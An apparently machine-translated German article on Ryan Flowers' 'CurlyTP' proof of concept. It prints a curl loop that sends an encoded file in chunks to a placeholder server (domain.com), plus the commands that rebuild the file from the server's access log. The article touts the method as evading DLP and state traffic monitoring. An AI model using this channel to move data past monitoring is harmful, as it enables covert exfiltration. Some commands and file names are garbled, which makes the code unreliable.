Austausch geheimer Nachrichten über Serverprotokolle

Gemäß der Wikipedia-Definition ist ein Dead Drop ein Verschwörungsinstrument, das dazu dient, Informationen oder bestimmte Gegenstände zwischen Personen über einen geheimen Ort auszutauschen. Die Idee ist, dass sich Menschen nie treffen – aber dennoch Informationen austauschen, um die Betriebssicherheit zu gewährleisten.

Das Versteck sollte nicht auffallen. Deshalb nutzen sie in der Offline-Welt oft diskrete Dinge: einen losen Ziegelstein in der Wand, ein Bibliotheksbuch oder eine Baumhöhle.

Es gibt viele Verschlüsselungs- und Anonymisierungstools im Internet, aber allein die Tatsache, dass diese Tools verwendet werden, erregt Aufmerksamkeit. Darüber hinaus können sie auf Unternehmens- oder Regierungsebene blockiert werden. Was zu tun ist?

Entwickler Ryan Flowers hat eine interessante Option vorgeschlagen: Verwenden Sie einen beliebigen Webserver als Versteck. Wenn Sie darüber nachdenken, was macht ein Webserver? Empfängt Anfragen, gibt Dateien aus und schreibt Protokolle. Und es protokolliert alle Anfragen, sogar falsche!

Es stellt sich heraus, dass Sie auf jedem Webserver nahezu jede Nachricht im Protokoll speichern können. Flowers fragte sich, wie man das nutzen könnte.

Er bietet diese Option an:

  1. Nehmen Sie eine Textdatei (geheime Nachricht) und berechnen Sie den Hash (md5sum).
  2. Wir kodieren es (gzip+uuencode).
  3. Wir schreiben in das Protokoll, indem wir eine bewusst falsche Anfrage an den Server stellen.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Um eine Datei zu lesen, müssen Sie diese Vorgänge in umgekehrter Reihenfolge ausführen: Datei dekodieren und entpacken, Hash überprüfen (der Hash kann sicher über offene Kanäle übertragen werden).

Leerzeichen werden durch ersetzt =+=damit die Adresse keine Leerzeichen enthält. Das Programm, das der Autor CurlyTP nennt, verwendet wie E-Mail-Anhänge die Base64-Kodierung. Die Anfrage erfolgt mit einem Schlüsselwort ?transfer?damit der Empfänger es in den Protokollen leicht finden kann.

Was sehen wir in diesem Fall in den Protokollen?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Wie bereits erwähnt, müssen Sie zum Empfang einer geheimen Nachricht die Vorgänge in umgekehrter Reihenfolge ausführen:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Der Prozess lässt sich leicht automatisieren. Md5sum stimmt überein und der Inhalt der Datei bestätigt, dass alles korrekt dekodiert wurde.

Die Methode ist sehr einfach. „Der Zweck dieser Übung besteht lediglich darin, zu beweisen, dass Dateien durch harmlose kleine Webanfragen übertragen werden können, und dass dies auf jedem Webserver mit Klartextprotokollen funktioniert. Im Grunde ist jeder Webserver ein Versteck!“, schreibt Flowers.

Die Methode funktioniert natürlich nur, wenn der Empfänger Zugriff auf Serverprotokolle hat. Einen solchen Zugang bieten aber beispielsweise viele Hoster.

Wie benutzt man es?

Ryan Flowers sagt, er sei kein Experte für Informationssicherheit und werde keine Liste möglicher Einsatzmöglichkeiten für CurlyTP erstellen. Für ihn ist es lediglich ein Proof of Concept, dass die vertrauten Werkzeuge, die wir jeden Tag sehen, auf unkonventionelle Weise eingesetzt werden können.

Tatsächlich hat diese Methode eine Reihe von Vorteilen gegenüber anderen Server-„Verstecken“ wie z Digitaler Dead Drop oder PirateBox: Es erfordert keine spezielle Konfiguration auf der Serverseite oder spezielle Protokolle – und wird bei denjenigen, die den Datenverkehr überwachen, keinen Verdacht erregen. Es ist unwahrscheinlich, dass ein SORM- oder DLP-System URLs nach komprimierten Textdateien durchsucht.

Dies ist eine der Möglichkeiten, Nachrichten über Dienstdateien zu übertragen. Sie können sich erinnern, wie einige fortschrittliche Unternehmen früher platzierten Entwicklerjobs in HTTP-Headern oder im Code von HTML-Seiten.

Austausch geheimer Nachrichten über Serverprotokolle

Die Idee war, dass nur Webentwickler dieses Easter Egg sehen würden, da ein normaler Mensch weder die Header noch den HTML-Code sehen würde.

Austausch geheimer Nachrichten über Serverprotokolle

Source: habr.com

Kommentar hinzufügen